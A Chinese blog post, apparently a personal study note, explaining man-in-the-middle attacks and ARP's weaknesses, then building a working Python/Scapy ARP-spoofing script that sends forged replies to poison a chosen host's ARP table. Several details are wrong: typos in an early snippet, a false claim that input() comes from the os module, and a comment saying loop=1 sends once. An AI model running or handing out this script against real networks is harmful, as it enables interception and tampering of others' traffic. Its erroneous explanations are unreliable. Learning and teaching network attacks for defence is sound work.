在庞大的互联网体系中,从一个主机传输到另一个主机的数据只会有两个人看到吗,那显然是否定的,因为很有可能会存在中间人。
中间人(Man-in-the-Middle,MITM)攻击是深受黑客喜爱的一种攻击方式,一方面它的实现原理相对简单,另一方面它具有十分强大的破坏力。黑客会将自己的设备放到正在通信的两台设备之间,这里的中间可以是物理的也可以是逻辑上的,然后黑客就能不断的从一个设备接收消息,经过篡改后,再发送到另一个设备上,这就是中间人攻击。
中间人攻击原理:
(1):黑客对通信时使用的网络设备进行攻击,通过取得这些设备的控制权,成为中间人,比如可以控制交换机,路由器,等通信设备来成为中间人进行攻击。
(2):黑客直接对用户设备发起攻击,实现篡改用户ARP表的目的,让用户误以为黑客的主机才是目标机器,然后就会将数据发送给黑客
(3):黑客通过改变物理线路发起攻击,这种方法会对原有的网络造成破坏,黑客能接触到目标所在的网络,切断原来进行通信的网络线路。然后对原有线路的物理结构进行改造,将原本直接连接到交换机的物理线路接入到一个可以分流的设备,这样黑客就可以将监听设备连接到分流设备上对你的网络进行监控。
其中第二种方法:篡改ARP表是黑客最常用的,首先这种方法无须取得网络设备的控制权,其次也无需对网络线路进行破坏,只需要在黑客设备上运行中间人攻击工具即可。
ARP的缺陷:
网络上的通信会使用两个地址:逻辑地址(IP地址)和物理地址(mac地址),IP地址有动态设置和静态分配两种方法,而mac地址通常是由网络硬件制造商再生产时烧录到网卡上的。mac地址长度为48位,通常标识为12个十六进制数,其中前六位十六进制数代表网络硬件制造商的编号,由IEEE分配,后六位十六进制数代表该制造商所制造的某个网络产品的系列号。
当你的设备要与在不同局域网中的主机进行通信时,要选择可以自动寻路的IP地址,而如果你只是与同一局域网中的设备进行通信,那么使用mac地址就可以了。这时候你会说,那我就使用IP地址不久可以了吗,还用mac地址来通信干什么呢,你要知道,交换机工作在数据链路层,它只能处理mac地址,无法处理IP地址,那这个时候该怎么办呢?
这个时候就出现了ARP,这个协议位于TCP/IP协议的网络层,目的就是将IP地址转换为mac地址。交换机里面有一张cam表,里面记录着目的mac地址和其对应的端口号,接收到来自主机的请求后,根据主机请求的目的mac地址,然后将这个数据从对应的端口发送出去。当A主机想要向B主机通信时,但是不知道B主机的mac地址,无法通过交换机传递信息,但是每一台主机都有一张ARP表,里面写着已知的IP和对应的mac地址,假设现在A主机里面的ARP 没有B主机的mac地址,这时候操作系统会发出ARP请求:
协议类型:ARP Request
源主机mac地址:11:11:11:22:22:22
源主机IP地址:192.168.1.1
目的主机mac地址:ff:ff:ff:ff:ff:ff
目的主机IP地址:192.168.1.2
当这个数据包到达交换机之后,交换机查看了里面的目的主机mac地址后发现是一个广播地址,它就会向除了A主机的端口之外的所有端口广播这个ARP请求包。当网络中的其余主机收到这个请求包后会与之进行匹配,如果不同,就不进行回应,如果相同,则将源IP与源mac地址写进ARP表中,然后发送一个ARP应答数据包:
协议类型:ARP Reply
源主机mac地址:22:22:22:22:22:22
源主机IP地址:192.168.1.2
目的主机mac地址:11:11:11:22:22:22
目的主机IP地址:192.168.1.1
这个包不是广播包,交换机在收到这个包之后会将这个包通过A主机的端口发送到A主机,然后此时A主机也会将B主机的源IP和源mac写进自己的ARP表中,以便下一次通信。
知道ARP是怎样通信之后,我们就知道ARP有哪些缺陷了:
(1):ARP请求数据包时是用广播发送的,可以伪造应答的mac地址
(2):ARP是无状态的,黑客可以在设备没有发送请求数据包的情况下,发送应答数据包
(3):ARP表是动态更新的,所以用户设备只要收到ARP应答数据包后,就会更新ARP表中的内容。
使用Scapy编写中间人攻击脚本:
知道ARP有哪些缺陷后,我们就可以通过利用这些缺陷来当中间人。现在我们来使用Python编写一个脚本,这个脚本利用了ARP本身是无状态的,动态更新的特点,构造一个虚假的ARP应答数据包发送给目标设备,从而达到对目标设备ARP表进行攻击的目的。
为构造数据包,首先得了解数据包的结构:
from scapy.all import ARP,ls
ls(ARP)
在scapy中,ARP数据包一种包含九个字段,其中前四个字段采用默认值即可
hwtype:硬件类型,默认值为1
ptype:协议类型,默认值为2048
hwlen:mac地址长度
plen:协议长度
op:操作类型,ARP请求为1,ARP响应为2
hwsrc:源mac地址
psrc:源IP地址
hwdst:目的mac地址
pdst:目的IP地址
接下来我们就来构造我们的伪造ARP数据包,来实现主机A冒充主机C,对主机B发起中间人攻击:
from scapy.all import ARP,ls,Ether
arp=ARP(top=2,
hwsrc="22:22:22:11:11:11",#主机A的mac地址
psrc="192.168.1.2",#主机c的IP地址
hwdst="11.11.11.11.11.11",#主机B的mac地址
pdst="192.168.1.1")#主机B的IP地址
#ARP应答数据包需要以太帧头部来发送,发送的那个的目标主机为B
eth = Ether(dst="11:11:11:11:11:11")
这样主机B在收到响应数据包之后就会在自己的ARP表中写下:
IP地址:192.168.1.2
mac地址:22:22:22:11:11:11
这样下一次主机B在请求mac地址后,请求包就会直接发送到主机A上去,因为这个mac地址对应的端口是主机A的。
接下来我们来完善这一个脚本,因为这个脚本包含了两个IP地址,一个是要欺骗的目标IP,一个是要冒充的IP,这里我们使用os模块中的input()函数,让用户自己输入IP地址:
import os
gwip = input('请输入要冒充的IP')
misip = input('请输入欺骗的IP')
两个mac地址中的hwsrc和hwdst,其中hwdst可以通过pdst的值和scapy中getmacbyip()获得,而hwsrc是本机mac,只有通过uuid模块的getnode()函数来获取。
from scapy.all import getmacbyip
import uuid
mlmac = getmacbyip(misip)
#根据欺骗主机的IP获取欺骗主机的mac地址
def getselfmac():
mac=uuid.UUID(int =uuid.getnode()).hex[-12:]
#这里先使用uuid.getnode获取了设备的标识符,然后hex将其转换为16进制,然后[-12:]截取后12位作为mac地址
return ":".join([mac[e:e+2] for e in range(0,11,2)])
#这串代码的意思是每次从mac中取出两个数,下标是[e]和[e+2],而e是来自于range(0,11,2),这个的意思是从0到11,每次间隔2,就是0,2,4,6,8,10,就是mac[0:2],mac[2][4]这样取,刚好取出来的就是两个16进制的mac地址,然后":".join的意思就是用:将这六个十六进制数连接起来,最后得到的就是xx:xx:xx:xx:xx:xx
完整代码如下:
import uuid
from scapy.all import getmacbyip,Ether,ARP,sendp
import os
def getselfmac():
mac=uuid.UUID(int =uuid.getnode()).hex[-12:]
return ":".join([mac[e:e+2] for e in range(0,11,2)])
def getip():
gwip = input('请输入要冒充的IP')
misip = input('请输入欺骗的IP')
mlmac = getmacbyip(misip)
eth =Ether(dst=mlmac)
arp =ARP(op=2,hwsrc=getselfmac(),psrc=gwip,hwdst=mlmac,pdst=misip)
sendp(eth/arp,inter=2,loop=1)
#eth/arp表示创建一个以太网帧,其中包含ARpeggio协议,inter=2表示发送数据包之间的时间间隔为2秒,loop=1表示发送数据包的次数为1次
getip()
今天的学习记录就到这里了,如果有什么不对的地方请大家多多指正,谢谢大家的观看。